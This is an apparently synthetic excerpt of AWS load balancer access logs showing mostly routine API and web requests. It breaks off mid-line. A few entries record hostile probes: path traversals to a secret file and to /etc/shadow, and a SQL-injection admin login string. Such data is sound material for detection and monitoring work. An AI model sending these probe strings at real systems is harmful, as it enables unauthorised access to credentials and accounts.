"-" 0 2024-11-01T00:35:15.201975Z "forward" "-" "-" "10.0.77.128:443" "200" "-" "-" +https 2024-11-01T00:35:17.081028Z prod-api-alb 22.112.130.221:32186 10.0.198.126:443 0.058604 0.197137 0.078265 404 404 896 3069 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfd5-c275d9e327f049c8a02c4dd6" "prod-api-alb.example.com" "-" 1 2024-11-01T00:35:17.081028Z "forward" "-" "-" "10.0.198.126:443" "404" "-" "-" +https 2024-11-01T00:35:17.914298Z prod-web-alb 0.123.196.69:58684 10.0.146.141:443 0.064881 0.300588 0.055441 200 200 155 12994 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfd5-8517a3822f8f4f3196520011" "prod-web-alb.example.com" "-" 8 2024-11-01T00:35:17.914298Z "forward" "-" "-" "10.0.146.141:443" "200" "-" "-" +http 2024-11-01T00:35:19.322301Z staging-alb 145.64.153.151:24971 97.202.195.72:443 0.080018 0.185973 0.131009 200 200 887 11898 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfd7-4c549a21f8714af083b361e8" "staging-alb.example.com" "-" 10 2024-11-01T00:35:19.322301Z "forward" "-" "-" "97.202.195.72:443" "200" "-" "-" +https 2024-11-01T00:35:19.757908Z staging-alb 193.27.228.156:22917 239.207.254.229:8080 0.006258 0.025877 0.024431 404 404 340 9335 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfd7-50bed0f811504bce8a6a4805" "-" "-" 0 2024-11-01T00:35:19.757908Z "forward" "-" "-" "239.207.254.229:8080" "404" "-" "-" +https 2024-11-01T00:35:21.053397Z prod-web-alb 186.188.146.235:61464 10.0.180.4:443 0.021443 0.143283 0.085470 200 200 787 9836 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfd9-8fc06c8c539e4c46be4ad8d0" "prod-web-alb.example.com" "-" 0 2024-11-01T00:35:21.053397Z "forward" "-" "-" "10.0.180.4:443" "200" "-" "-" +https 2024-11-01T00:35:22.451104Z prod-web-alb 170.93.234.81:18746 10.0.73.4:443 0.099812 0.473881 0.058890 200 200 292 1090 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfda-7325676ccd454031b226b92e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:35:22.451104Z "forward" "-" "-" "10.0.73.4:443" "200" "-" "-" +https 2024-11-01T00:35:24.331681Z prod-api-alb 39.85.69.67:44455 10.0.47.30:443 0.003439 0.405974 0.003935 200 200 716 473 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfdc-ad688faddc3c477a8a124332" "prod-api-alb.example.com" "-" 8 2024-11-01T00:35:24.331681Z "forward" "-" "-" "10.0.47.30:443" "200" "-" "-" +https 2024-11-01T00:35:25.958538Z prod-api-alb 233.208.207.252:25013 10.0.36.114:443 0.041656 0.076821 0.025708 200 200 318 2067 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfdd-bba10a3ccb4d45f0a649f957" "prod-api-alb.example.com" "-" 8 2024-11-01T00:35:25.958538Z "forward" "-" "-" "10.0.36.114:443" "200" "-" "-" +http 2024-11-01T00:35:27.099371Z staging-alb 218.243.55.192:36105 110.52.83.234:443 0.115947 0.240902 0.100598 200 200 676 391 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfdf-298afdaa06f64957b843f9aa" "staging-alb.example.com" "-" 9 2024-11-01T00:35:27.099371Z "forward" "-" "-" "110.52.83.234:443" "200" "-" "-" +https 2024-11-01T00:35:27.396202Z prod-api-alb 130.189.100.221:33447 10.0.79.228:443 0.066080 0.300305 0.090486 301 301 999 11035 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfdf-218776fe8e3a4433a178cbbf" "prod-api-alb.example.com" "-" 0 2024-11-01T00:35:27.396202Z "forward" "-" "-" "10.0.79.228:443" "301" "-" "-" +https 2024-11-01T00:35:28.610196Z prod-api-alb 160.46.102.8:53553 10.0.144.54:443 0.051068 0.231040 0.098049 200 200 299 13902 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfe0-9d3edbc31ad542a5860b8ddb" "prod-api-alb.example.com" "-" 2 2024-11-01T00:35:28.610196Z "forward" "-" "-" "10.0.144.54:443" "200" "-" "-" +https 2024-11-01T00:35:29.999676Z prod-web-alb 159.153.18.203:15297 10.0.227.66:443 0.040969 0.314813 0.087886 200 200 484 7388 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfe1-9acfad9c6f404c74aecb01da" "prod-web-alb.example.com" "-" 9 2024-11-01T00:35:29.999676Z "forward" "-" "-" "10.0.227.66:443" "200" "-" "-" +https 2024-11-01T00:35:31.916908Z prod-api-alb 27.246.189.243:24958 10.0.129.4:443 0.065355 0.492087 0.056187 200 200 167 8548 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfe3-eda1d8eb8bea4a6289cba954" "prod-api-alb.example.com" "-" 6 2024-11-01T00:35:31.916908Z "forward" "-" "-" "10.0.129.4:443" "200" "-" "-" +http 2024-11-01T00:35:33.839330Z staging-alb 195.38.4.236:33871 61.203.134.52:8080 0.012328 0.389998 0.099568 200 200 956 12053 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfe5-4ebfbf0ca849457fab5fda2c" "staging-alb.example.com" "-" 2 2024-11-01T00:35:33.839330Z "forward" "-" "-" "61.203.134.52:8080" "200" "-" "-" +https 2024-11-01T00:35:35.811593Z prod-web-alb 43.213.238.95:45811 10.0.71.81:443 0.057634 0.051080 0.097970 200 200 53 12527 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfe7-90984eed35664c3abb54d0d8" "prod-web-alb.example.com" "-" 2 2024-11-01T00:35:35.811593Z "forward" "-" "-" "10.0.71.81:443" "200" "-" "-" +https 2024-11-01T00:35:36.075146Z prod-web-alb 216.96.19.60:25654 10.0.68.124:443 0.069873 0.297132 0.055537 200 200 498 8455 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfe8-3bbf52daf34741148b44437b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:35:36.075146Z "forward" "-" "-" "10.0.68.124:443" "200" "-" "-" +https 2024-11-01T00:35:36.542369Z prod-api-alb 181.71.198.212:13776 10.0.130.9:443 0.077145 0.329764 0.065044 200 200 804 12154 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfe8-d694e2d353d74079b4b0b7c3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:35:36.542369Z "forward" "-" "-" "10.0.130.9:443" "200" "-" "-" +https 2024-11-01T00:35:37.080548Z staging-alb 121.0.199.242:29914 182.196.225.165:443 0.090915 0.747766 0.057649 200 200 310 12882 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfe9-3d7b1c8bd73543fca231c7e7" "staging-alb.example.com" "-" 6 2024-11-01T00:35:37.080548Z "forward" "-" "-" "182.196.225.165:443" "200" "-" "-" +http 2024-11-01T00:35:38.088603Z staging-alb 53.1.163.40:60207 74.35.216.154:8080 0.008025 0.381476 0.014554 200 200 248 12099 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfea-4ce324c1527c406988405598" "staging-alb.example.com" "-" 1 2024-11-01T00:35:38.088603Z "forward" "-" "-" "74.35.216.154:8080" "200" "-" "-" +https 2024-11-01T00:35:39.963382Z prod-api-alb 70.141.18.109:53200 10.0.196.237:443 0.005401 0.381266 0.001469 404 404 14 9338 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfeb-0f54c5ebf5154fc1b4e36798" "prod-api-alb.example.com" "-" 7 2024-11-01T00:35:39.963382Z "forward" "-" "-" "10.0.196.237:443" "404" "-" "-" +https 2024-11-01T00:35:40.865081Z prod-api-alb 168.185.218.193:46937 10.0.204.64:443 0.074632 0.365093 0.083329 301 301 148 11188 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfec-be34ca8585194e01aa76d22f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:35:40.865081Z "forward" "-" "-" "10.0.204.64:443" "301" "-" "-" +https 2024-11-01T00:35:42.337897Z prod-web-alb 207.62.31.188:12012 10.0.62.22:443 0.029430 0.380413 0.023687 301 301 304 7356 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfee-534dcefc61c347e0baca7c84" "prod-web-alb.example.com" "-" 2 2024-11-01T00:35:42.337897Z "forward" "-" "-" "10.0.62.22:443" "301" "-" "-" +https 2024-11-01T00:35:43.325626Z prod-api-alb 13.181.80.172:20769 10.0.88.223:443 0.026744 0.149549 0.045546 302 302 583 5482 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfef-607a9a813dd74df697e32050" "prod-api-alb.example.com" "-" 1 2024-11-01T00:35:43.325626Z "forward" "-" "-" "10.0.88.223:443" "302" "-" "-" +https 2024-11-01T00:35:45.244761Z staging-alb 216.206.92.211:49588 15.214.195.165:80 0.077622 0.024240 0.037293 302 302 718 8966 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bff1-87bf423e538f42d383140ab0" "staging-alb.example.com" "-" 6 2024-11-01T00:35:45.244761Z "forward" "-" "-" "15.214.195.165:80" "302" "-" "-" +https 2024-11-01T00:35:45.922523Z prod-api-alb 225.99.28.111:50489 10.0.71.194:443 0.056537 0.146384 0.097436 404 404 523 2495 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bff1-3ec6442514cc416eb0ea0820" "prod-api-alb.example.com" "-" 1 2024-11-01T00:35:45.922523Z "forward" "-" "-" "10.0.71.194:443" "404" "-" "-" +https 2024-11-01T00:35:47.301371Z prod-web-alb 179.249.231.33:43162 10.0.236.64:443 0.067396 0.283732 0.072146 301 301 524 6027 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bff3-0dfbee7a1d024e22b398aae4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:35:47.301371Z "forward" "-" "-" "10.0.236.64:443" "301" "-" "-" +https 2024-11-01T00:35:48.098090Z prod-api-alb 160.140.220.242:41548 10.0.199.18:443 0.039389 0.182719 0.034860 200 200 728 844 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bff4-3e3c639f420a4671af71fb28" "prod-api-alb.example.com" "-" 3 2024-11-01T00:35:48.098090Z "forward" "-" "-" "10.0.199.18:443" "200" "-" "-" +http 2024-11-01T00:35:48.279754Z staging-alb 151.222.158.65:51276 145.223.131.161:443 0.063199 0.550385 0.135463 200 200 97 11998 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bff4-e1ca5bf81d11478ba06858de" "staging-alb.example.com" "-" 5 2024-11-01T00:35:48.279754Z "forward" "-" "-" "145.223.131.161:443" "200" "-" "-" +https 2024-11-01T00:35:48.431047Z staging-alb 141.251.134.119:22761 33.120.189.60:80 0.115063 0.241812 0.011229 302 302 419 4630 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bff4-614e407c3a284bb988b3174e" "staging-alb.example.com" "-" 6 2024-11-01T00:35:48.431047Z "forward" "-" "-" "33.120.189.60:80" "302" "-" "-" +https 2024-11-01T00:35:50.032053Z prod-api-alb 61.191.184.185:18281 10.0.189.108:443 0.016767 0.262734 0.076283 404 404 729 13834 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bff6-efa779e4264e4b5e80cf4330" "prod-api-alb.example.com" "-" 6 2024-11-01T00:35:50.032053Z "forward" "-" "-" "10.0.189.108:443" "404" "-" "-" +http 2024-11-01T00:35:50.256990Z staging-alb 242.147.32.192:31983 229.51.72.115:80 0.076625 0.230225 0.026268 200 200 637 8540 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bff6-3443078875354eff8fd2b6f8" "staging-alb.example.com" "-" 9 2024-11-01T00:35:50.256990Z "forward" "-" "-" "229.51.72.115:80" "200" "-" "-" +https 2024-11-01T00:35:50.703619Z staging-alb 112.226.238.9:24645 179.85.99.229:8080 0.064083 0.221009 0.105763 200 200 358 12969 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bff6-98fb967945b84608b5cb7a8f" "staging-alb.example.com" "-" 2 2024-11-01T00:35:50.703619Z "forward" "-" "-" "179.85.99.229:8080" "200" "-" "-" +https 2024-11-01T00:35:50.962796Z prod-api-alb 30.131.193.96:19576 10.0.143.249:443 0.000280 0.169938 0.082112 200 200 870 10919 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bff6-376afc702c9c4132a8c20e75" "prod-api-alb.example.com" "-" 8 2024-11-01T00:35:50.962796Z "forward" "-" "-" "10.0.143.249:443" "200" "-" "-" +https 2024-11-01T00:35:52.740196Z prod-api-alb 185.181.76.214:55059 10.0.183.225:443 0.093700 0.287929 0.056370 500 500 135 439 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bff8-d9a3f805a8ea4930a97f271e" "-" "-" 0 2024-11-01T00:35:52.740196Z "forward" "-" "-" "10.0.183.225:443" "500" "-" "-" +https 2024-11-01T00:35:53.159166Z prod-api-alb 9.184.167.200:43418 10.0.103.153:443 0.004394 0.209831 0.055543 301 301 419 5637 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bff9-e7164a3ffa5144398b77a3f9" "prod-api-alb.example.com" "-" 10 2024-11-01T00:35:53.159166Z "forward" "-" "-" "10.0.103.153:443" "301" "-" "-" +https 2024-11-01T00:35:54.204952Z staging-alb 158.66.197.223:26069 205.204.213.42:8080 0.146822 0.047225 0.149102 200 200 716 1332 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bffa-d0633d5b6fd84166bf904c9a" "staging-alb.example.com" "-" 5 2024-11-01T00:35:54.204952Z "forward" "-" "-" "205.204.213.42:8080" "200" "-" "-" +https 2024-11-01T00:35:54.369763Z staging-alb 249.103.230.239:30757 129.154.19.107:80 0.095584 0.029546 0.143660 200 200 347 13291 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bffa-062832923f5f47298b0e554c" "staging-alb.example.com" "-" 7 2024-11-01T00:35:54.369763Z "forward" "-" "-" "129.154.19.107:80" "200" "-" "-" +https 2024-11-01T00:35:54.615412Z prod-web-alb 45.155.205.51:18916 10.0.51.194:443 0.000430 0.214547 0.008353 404 404 941 2605 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bffa-328303fa1ec845ec9c899be1" "-" "-" 9 2024-11-01T00:35:54.615412Z "forward" "-" "-" "10.0.51.194:443" "404" "-" "-" +https 2024-11-01T00:35:56.329670Z prod-web-alb 107.34.104.194:55139 10.0.128.76:443 0.022943 0.132534 0.033311 200 200 980 3668 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bffc-01b7380e0f034919af23fc2e" "prod-web-alb.example.com" "-" 4 2024-11-01T00:35:56.329670Z "forward" "-" "-" "10.0.128.76:443" "200" "-" "-" +http 2024-11-01T00:35:56.529791Z staging-alb 118.138.98.164:63614 41.176.45.166:443 0.018941 0.132114 0.036507 302 302 781 2271 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bffc-e933802c25714b659cd33f02" "staging-alb.example.com" "-" 7 2024-11-01T00:35:56.529791Z "forward" "-" "-" "41.176.45.166:443" "302" "-" "-" +https 2024-11-01T00:35:57.366248Z prod-api-alb 22.192.176.140:53872 10.0.160.20:443 0.068705 0.469840 0.021215 200 200 774 6441 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bffd-1604e24f4d20438c8031b14a" "prod-api-alb.example.com" "-" 0 2024-11-01T00:35:57.366248Z "forward" "-" "-" "10.0.160.20:443" "200" "-" "-" +https 2024-11-01T00:35:58.278726Z prod-web-alb 130.172.129.160:51884 10.0.236.46:443 0.078025 0.289241 0.053622 302 302 806 6587 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bffe-561bf50fdffc4057beba0678" "prod-web-alb.example.com" "-" 1 2024-11-01T00:35:58.278726Z "forward" "-" "-" "10.0.236.46:443" "302" "-" "-" +https 2024-11-01T00:35:58.707933Z prod-web-alb 71.101.204.30:51175 10.0.71.30:443 0.009931 0.271616 0.076724 301 301 734 8171 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bffe-8cdb12adcc3242c1ad9db373" "prod-web-alb.example.com" "-" 7 2024-11-01T00:35:58.707933Z "forward" "-" "-" "10.0.71.30:443" "301" "-" "-" +https 2024-11-01T00:36:00.518197Z staging-alb 105.205.79.200:33137 126.165.13.187:80 0.033188 0.152796 0.118009 200 200 754 10795 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c000-c5d35594e749495ba4862312" "staging-alb.example.com" "-" 8 2024-11-01T00:36:00.518197Z "forward" "-" "-" "126.165.13.187:80" "200" "-" "-" +https 2024-11-01T00:36:02.092240Z prod-api-alb 198.235.233.108:29560 10.0.183.211:443 0.052895 0.154827 0.000679 200 200 347 14117 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c002-03266a53052f494ba3434443" "prod-api-alb.example.com" "-" 9 2024-11-01T00:36:02.092240Z "forward" "-" "-" "10.0.183.211:443" "200" "-" "-" +https 2024-11-01T00:36:03.501254Z staging-alb 62.169.183.0:59227 102.111.126.161:80 0.078822 0.268263 0.016922 302 302 648 14472 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c003-e7167e3a2787422998dca492" "staging-alb.example.com" "-" 1 2024-11-01T00:36:03.501254Z "forward" "-" "-" "102.111.126.161:80" "302" "-" "-" +https 2024-11-01T00:36:05.132822Z prod-api-alb 198.148.47.232:57636 10.0.178.56:443 0.063272 0.134117 0.055183 200 200 873 3276 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c005-c2f0d09a04e64e578d77f7c2" "prod-api-alb.example.com" "-" 2 2024-11-01T00:36:05.132822Z "forward" "-" "-" "10.0.178.56:443" "200" "-" "-" +http 2024-11-01T00:36:06.547495Z staging-alb 103.115.92.102:40695 54.227.1.3:8080 0.062522 0.549048 0.113270 200 200 509 4026 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac 